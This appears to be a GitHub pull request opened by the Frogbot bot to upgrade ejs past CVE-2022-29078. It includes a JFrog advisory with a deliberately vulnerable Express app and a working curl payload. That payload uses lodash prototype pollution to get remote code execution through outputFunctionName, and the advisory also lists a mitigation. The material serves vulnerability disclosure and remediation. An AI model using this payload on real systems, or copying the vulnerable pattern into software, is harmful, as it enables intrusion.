Skip to content

Conversation

@MaharshiPatel
Copy link
Owner

🚨 This automated pull request was created by Frogbot and fixes the below:

📦 Vulnerable Dependencies

Severity ID Contextual Analysis Direct Dependencies Impacted Dependency Fixed Versions
critical (not applicable)
Critical
CVE-2022-29078 Not Applicable ejs:2.7.4 ejs 2.7.4 [3.1.7]

🔖 Details

Vulnerability Details

Jfrog Research Severity: Medium
Contextual Analysis: Not Applicable
Direct Dependencies: ejs:2.7.4
Impacted Dependency: ejs:2.7.4
Fixed Versions: [3.1.7]
CVSS V3: 9.8

Insufficient input validation in EJS enables attackers to perform template injection when attacker can control the rendering options.

🔬 JFrog Research Details

Description:
Embedded JavaScript templates, also known as EJS, is one of the most popular Node.js templating engines, which is compiled with the Express JS view system.

When rendering views using EJS, it is possible to perform template injection on the opts.outputFunctionName variable, since the variable is injected into the template body without any escaping. Although it is unlikely that the attacker can directly control the outputFunctionName property, it is possible that it can be influenced in conjunction with a prototype pollution vulnerability.

Once template injection is achieved, the attacker can immediately perform remote code execution since the template engine (EJS) allows executing arbitrary JavaScript code.

Example of a vulnerable Node.js application -

const express = require('express');
const bodyParser = require('body-parser');
const lodash = require('lodash');
const ejs = require('ejs');

const app = express();

app
    .use(bodyParser.urlencoded({extended: true}))
    .use(bodyParser.json());

app.set('views', './');
app.set('view engine', 'ejs');

app.get("/", (req, res) => {
    res.render('index');
});

app.post("/", (req, res) => {
    let data = {};
    let input = JSON.parse(req.body.content);
    lodash.defaultsDeep(data, input);
    res.json({message: "OK"});
});

let server = app.listen(8086, '0.0.0.0', function() {
    console.log('Listening on port %d', server.address().port);
});

Exploiting the above example for RCE -
curl 127.0.0.1:8086 -v --data 'content={"constructor": {"prototype": {"outputFunctionName": "a; return global.process.mainModule.constructor._load(\"child_process\").execSync(\"whoami\"); //"}}}'

Due to the prototype pollution in the lodash.defaultsDeep call, an attacker can inject the outputFunctionName property with an arbitrary value. The chosen value executes an arbitrary process via the child_process module.

Remediation:

Development mitigations

Add the Object.freeze(Object.prototype); directive once at the beginning of your main JS source code file (ex. index.js), preferably after all your require directives. This will prevent any changes to the prototype object, thus completely negating prototype pollution attacks.

Note that this mitigation is supposed to stop any prototype pollution attacks which can allow an attacker to control the opts.outputFunctionName parameter indirectly.

The mitigation will not stop any (extremely unlikely) scenarios where the JavaScript code allows external input to directly affect opts.outputFunctionName.


Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants